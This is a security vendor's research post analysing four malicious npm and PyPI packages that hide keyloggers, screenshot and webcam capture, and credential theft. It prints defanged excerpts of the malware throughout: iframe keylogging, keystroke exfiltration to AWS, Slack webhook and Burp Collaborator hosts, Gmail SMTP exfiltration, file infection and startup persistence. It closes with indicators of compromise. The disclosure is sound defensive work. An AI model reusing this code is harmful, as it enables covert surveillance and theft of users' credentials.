Socket
Book a DemoInstallSign in
Socket
Back
ResearchSecurity News

Surveillance Malware Hidden in npm and PyPI Packages Targets Developers with Keyloggers, Webcam Capture, and Credential Theft

Socket researchers investigate 4 malicious npm and PyPI packages with 56,000+ downloads that install surveillance malware.

Surveillance Malware Hidden in npm and PyPI Packages Targets Developers with Keyloggers, Webcam Capture, and Credential Theft

Kush Pandya

Kirill Boychenko

July 23, 2025

The Socket Threat Research Team has uncovered four malicious packages: three on the npm registry and one on the Python Package Index (PyPI), all designed as delivery mechanisms for surveillance malware. Collectively, these four packages have over 56,000 downloads. As of this publication, the packages remain live on npm and PyPI. We have petitioned the respective registries for their removal.

After installation, three packages immediately launch surveillance: they log keystrokes, capture screens and webcam images, fingerprint the host, and steal credentials. The fourth package, vfunctions, offers the same capabilities but activates them only when its functions are explicitly invoked. In every case, the code supports covert monitoring and data exfiltration.

These behaviors fall under the category of surveillance malware — malicious software that covertly monitors and captures user activity and transmits it to external infrastructure without user consent. While often overlapping with spyware, the term surveillance malware more precisely emphasizes the covert observation and data exfiltration tactics seen in the context of malicious dependencies.

  1. dpsdatahub (npm) — A hidden browser-based keylogger that captures user input and session data via iframe injection and exfiltrates to a command and control (C2) endpoint.
  2. nodejs-backpack (npm) — A multi-purpose surveillance package that collects both screenshots and extensive system and user metadata with added obfuscation to avoid detection and a deceptive utility wrapper to mask its true intent.
  3. m0m0x01d (npm) — A surveillance package that monitors credential input fields, logs keystrokes in real time, and exfiltrates sensitive data via iframe injection. It uses Burp Collaborator as its C2 exfiltration channel, blending surveillance traffic with legitimate security testing infrastructure to evade detection.
  4. vfunctions (PyPI) — A multi‑vector surveillance package that can capture webcam images, self‑replicate, and persist via Windows startup when its functions are invoked.

The analyzed packages collectively implement multi-layered surveillance techniques that target user credentials, system environments, and real-time user activity. They employ invisible iframes and browser event listeners for keystroke logging, programmatic screenshot capture via libraries like pyautogui and pag, and webcam access using modules such as pygame.camera. Exfiltration channels include Slack webhooks, Gmail SMTP, AWS Lambda APIs, and Burp Collaborator subdomains, often obfuscated or dynamically constructed to evade static detection.

Malicious Packages Analysis#

dpsdatahub — Covert Browser-Based Keylogger with Cloud Exfiltration#

The npm package dpsdatahub is a covert surveillance tool that masquerades as a data management utility. In reality, it implements a persistent keylogger that silently monitors user input, fingerprints the victim’s environment, and exfiltrates data to threat actor-controlled C2 infrastructure.

The following commented and defanged code excerpts from the malicious package demonstrate its surveillance capabilities.

const dps = () => {
    const iframe = document.createElement("iframe");
    iframe.setAttribute("src", "hxxps://dpsiframe.s3.eu-central-1.amazonaws[.]com/index.html");
    iframe.setAttribute("id", "dps");
    iframe.style.display = "none";      // Make iframe invisible
    document.body.appendChild(iframe);  // Inject into DOM

    // Receive session identifier from iframe
    window.addEventListener("message", message => {
        COOKIE_ID = message;
        localStorage.setItem("msg from dps ==>", JSON.stringify(COOKIE_ID.data));
        setCookie();                    // Send session metadata to C2
    });

    // Attach keystroke listener
    window.addEventListener("keyup", onKeyPress);
};

The keylogger collects all keystrokes as users interact with the page. Each key press is appended to an in-memory buffer, then batched for exfiltration after a short delay:

const onKeyPress = (e) => {
    SEARCH_STARTED = true;
    SEARCH += `${e.key}`;  // Log keystroke
    try { clearTimeout(SEARCH_TIMEOUT); } catch (err) {};
    searchTimeout();       // Reset delay timer
};

The malware sends the logged keystrokes and session metadata to a threat actor-controlled AWS Lambda endpoint every 5 seconds:

const searchTimeout = () => {
    SEARCH_TIMEOUT = window.setTimeout(() => {
        postData(SEARCH_API, {
            id: COOKIE_ID.data.id,
            origin: window.origin,
            search: SEARCH  // Send captured keystrokes
        });
        clearTimeout(SEARCH_TIMEOUT);
        SEARCH = '';        // Reset buffer
    }, 5000);
};

The malicious code also fingerprints the victim’s system, collecting detailed browser and hardware information, including GPU details, media devices, and user-agent data. All network requests use mode: 'no-cors' to bypass security restrictions and avoid browser warnings.

Socket AI Scanner’s analysis of the malicious dpsdatahub package highlights its hidden keylogger functionality, including iframe injection, keystroke logging, and exfiltration to the threat actor-controlled AWS endpoints.

nodejs-backpack — Obfuscated Surveillance for System Profiling and Data Exfiltration#

The npm package nodejs-backpack is a surveillance tool disguised as a development utility for generating Node.js schemas and APIs. Beneath its seemingly useful CLI interface, it performs unauthorized system profiling, captures screenshots, and exfiltrates sensitive system metadata via a Slack webhook. To evade detection, it obfuscates the exfiltration endpoint by fragmenting the webhook URL at runtime.

The following commented and defanged code excerpts from the malicious package demonstrate its surveillance capabilities.

// Constructs: hxxps://hooks.slack[.]com/services/T0124D3TG83/B06KAQ0TXHT/r1dbyBstPoTj1W5afyjLk3Sz
const _ara0 = "https://hooks.";
const _ara1 = "slack.com";
const _ara2 = "services";
const _ara3 = "T0124D3TG83";
const _ara4 = "B06KAQ0TXHT";
const _ara5 = "r1dbyBstPoTj1W5afyjLk3Sz";
const url = `${_ara0}${_ara1}/${_ara2}/${_ara3}/${_ara4}/${_ara5}`;

Upon execution, the package collects detailed system and user information, including usernames, memory and CPU stats, platform details, and working directories. The package compiles the data into a Slack-formatted payload and sends it to the constructed webhook:

const os = require('os');

const text = `\n*${os.userInfo()?.username}* executed nodejs-backpack: *${e}* command\nProject Dir: *${process.cwd()}*`;

const fields = [
  { title: "System User Name", value: os.userInfo()?.username ?? "-", short: true },
  { title: "CPU Name", value: os.hostname() ?? "-", short: true },
  { title: "Project Directory", value: process.cwd() ?? "-", short: true },
  { title: "Command Executed", value: `*${e}*`, short: true },
  { title: "Home Directory", value: os.homedir() ?? "-", short: true },
  { title: "Total Memory", value: (os.totalmem() / 1073741824).toFixed(2) + " GB", short: true },
  { title: "System CPUs", value: os.cpus()[0].model ?? "-", short: true },
  { title: "OS Type", value: os.type() ?? "-", short: true },
  { title: "Machine Type", value: os.machine() ?? "-", short: true }
];

// POST request to Slack webhook
await axios.post(url, {
  channel: "#npm_nodejs_backpack",
  username: "NPM Nodejs-Backpack BOT",
  text,
  attachments: [{ title: "System Details", fields }],
});

This structured Slack message delivers system profiling data directly to the threat actor’s Slack channel in a clean, readable format. To evade user suspicion, the package provides a real utility for generating schemas, APIs, and boilerplate files through CLI commands like make:schema, make:auth, and sample:files. These features increase its likelihood of being used by unsuspecting developers and help conceal the underlying surveillance behavior.

Socket AI Scanner’s analysis of the malicious nodejs-backpack package, which disguises its surveillance behavior behind a misleading README. While claiming to streamline Node.js development, the package embeds surveillance functionality and has been flagged for removal due to supply chain risk.

m0m0x01d — iframe Keylogging and Credential Harvesting via Burp Collaborator#

The npm package m0m0x01d implements a browser-based keylogger that targets login forms embedded in iframes. It captures keystrokes in real time and exfiltrates them through a two-stage mechanism involving a postMessage relay and multiple Burp Collaborator endpoints. While appearing benign, the package silently enables credential surveillance in web applications.

The following commented and defanged code snippets from the malicious package demonstrate its surveillance capabilities.

// Send keystrokes to an intermediary endpoint (e.g., hosted script on CDN)
function sendKeystrokes(data) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "hxxps://es.t-mobile.com.mmcyrtl8tknr87hk8d9j6upi69c10q.burpcollaborator[.]net/xxxxxxxxx", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify({ keystrokes: data }));
}

// Attach keylogger to iframe content once it loads
function captureKeystrokes() {
    var iframe = document.getElementById('login-iframe').contentWindow;

    // Log each keystroke and forward it
    iframe.document.onkeyup = function(event) {
        sendKeystrokes(event.key);
    };

The threat actor uses this setup to silently intercept credentials without altering the outer page or visible behavior.

The package also includes a secondary JavaScript file that receives keystrokes via the postMessage API and forwards them to another Burp Collaborator endpoint. This indirection masks the final destination of the stolen data and helps bypass basic security filters.

// Relay script used in iframe or worker context
self.addEventListener('message', function(event) {
    var data = event.data;

    // Forward keystrokes to a separate Collaborator endpoint
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "hxxps://bm1nrilxt9ng8wh982986jp76yco0d.burpcollaborator[.]net/keystrokes", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify({ keystrokes: data }));
});

The threat actor exfiltrates captured keystrokes to a dynamically generated subdomain on Burp Collaborator, a legitimate penetration testing service. By leveraging this infrastructure as a C2 channel, the package blends malicious traffic with security testing activity.

Socket AI Scanner’s analysis of the malicious m0m0x01d package reveals the use of iframe-based keylogging with exfiltration to a Burp Collaborator domain.

vfunctions — Multi-Vector Surveillance Platform with Webcam Capture, Email Exfiltration, and Self-Replication#

The PyPI package vfunctions is a malicious surveillance package whose routines (webcam capture, file infection, and startup persistence) activate only when explicitly invoked, but the code’s purpose and effect remain malicious.

PyPI’s security team indicated that vfunctions does not trigger automatically and should be viewed as “bad practice” unless a user or attacker runs its exported functions. We acknowledge this but retain a malware classification because those functions enable full surveillance once invoked.

The following code excerpts, annotated with our comments, demonstrate the package’s surveillance capabilities.

def Web_Cam_Photo():
    pygame.camera.init()                    # Initialize webcam module
    camlist = pygame.camera.list_cameras()  # List connected webcams
    if camlist:
        cam = pygame.camera.Camera(camlist[0], (640, 480))  # Access webcam
        cam.start()                                         # Activate webcam
        image = cam.get_image()                             # Capture image frame
        pygame.image.save(image, "webcam.jpg")              # Save image locally
    P_file_location = os.getcwd() + '\webcam.jpg'     # Build path to saved image
    ctus_r(P_file_location)  
    # Move image to user directory and delete original 
    # (for stealth and staging exfiltration)

The malware exfiltrates captured webcam images via Gmail SMTP, using hardcoded or threat actor-provided credentials to send the files to a controlled email address.

# Exfiltrate the images by sending it to the threat actor's email via Gmail SMTP
    with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
        smtp.login(Send_From, PassWord)  
# Authenticate with stolen or hardcoded credentials
        smtp.send_message(msg)
# Send message with attached surveillance images

To self-propagate, the package appends a viral payload to other Python scripts in the working directory.

def Infect_Files():
    ...
    def infect(file, virus_code):
        
        # Overwrites clean Python files with malware plus original code
        if (data := get_content_if_infectable(file)):
            with open(file, "w") as infected_file:
                infected_file.write("".join(virus_code))
                infected_file.writelines(data)

The package also extracts the malicious payload from itself and embeds it into other files, enabling lateral movement across the filesystem. Additionally, it ensures persistence by copying itself into the Windows startup folder:

def Paste_In_To_Startup():
    # Persistence via Windows startup
    startup = os.path.expanduser('~') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
    shutil.copy(__file__, startup)

Importing vfunctions does not auto‑execute its payloads. However, any script or threat actor that calls its exported functions gains full webcam capture, exfiltration, and self‑replication capabilities, making the package a latent but serious supply chain threat.

Outlook and Recommendations#

The discovery of surveillance malware hidden in open source packages highlights a growing trend in threat actor tactics: exploiting trusted ecosystems like npm and PyPI to slip spyware directly into developer workflows. These packages monitor keystrokes, capture webcam and screen content, fingerprint environments, and exfiltrate data via C2 endpoints and legitimate platforms such as Slack, AWS, Gmail, and Burp Collaborator.

Security teams should anticipate broader adoption of these tactics by threat actors. We expect to see increased reuse of invisible iframes, obfuscated webhook exfiltration, and the exploitation of SaaS infrastructure for stealthy data transfer. Surveillance-focused malware in the supply chain is likely to become more modular, better disguised, and more persistent.

Socket’s security tooling is purpose-built to detect surveillance-class behavior proactively. The Socket GitHub App provides real-time scanning of pull requests, flagging suspicious or malicious packages before they reach production. The Socket CLI surfaces behavioral red flags during npm install, helping developers and CI pipelines catch dangerous dependencies early. The Socket browser extension alerts users when they visit or attempt to install suspicious packages, providing critical context before code is pulled into a project. Socket MCP extends this protection into AI-assisted coding environments, detecting and alerting about malicious or hallucinated packages before they can be introduced through LLM-generated suggestions.

Indicators of Compromise (IOCs)#

Malicious Packages with Download Counts

  • nodejs-backpack — 5,869 downloads
  • dpsdatahub — 830 downloads
  • m0m0x01d — 37,847 downloads
  • vfunctions — 12,033 downloads

C2 Endpoints

  • hxxps://dpsiframe.s3.eu-central-1.amazonaws[.]com/index.html
  • hxxps://hooks.slack[.]com/services/T0124D3TG83/B06KAQ0TXHT/r1dbyBstPoTj1W5afyjLk3Sz
  • hxxps://es.t-mobile.com.mmcyrtl8tknr87hk8d9j6upi69c10q.burpcollaborator[.]net/xxxxxxxxx
  • hxxps://bm1nrilxt9ng8wh982986jp76yco0d.burpcollaborator[.]net/keystrokes

Threat Actor Identifiers (Usernames and Registration Emails)

  • sonkraft1 — PyPI username
    • skraft2727@gmail[.]com — registration email
  • m0m0x01d — npm username
    • m0m0x01dtest@gmail[.]com — registration email
  • jksk21 — npm username
    • jkgsk21@gmail[.]com — registration email
  • iverimeparishvili — npm username
    • iveri.mefarishvili.1@gmail[.]com — registration email

MITRE ATT&CK Techniques#

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1608.001 — Stage Capabilities: Upload Malware
  • T1036.005 — Masquerading: Match Legitimate Name or Location
  • T1204.002 — User Execution: Malicious File
  • T1059.007 — Command and Scripting Interpreter: JavaScript
  • T1059.006 — Command and Scripting Interpreter: Python
  • T1027 — Obfuscated Files or Information
  • T1113 — Screen Capture
  • T1125 — Video Capture
  • T1005 — Data from Local System
  • T1056.001 — Input Capture: Keylogging
  • T1041 — Exfiltration Over C2 Channel
  • T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
  • T1567.004 — Exfiltration Over Web Service: Exfiltration Over Webhook
  • T1567.002 — Exfiltration Over Web Service: Exfiltration to Cloud Storage

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

About

Packages

Stay in touch

Get open source security insights delivered straight into your inbox.

  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc

U.S. Patent No. 12,346,443 & 12,314,394. Other pending.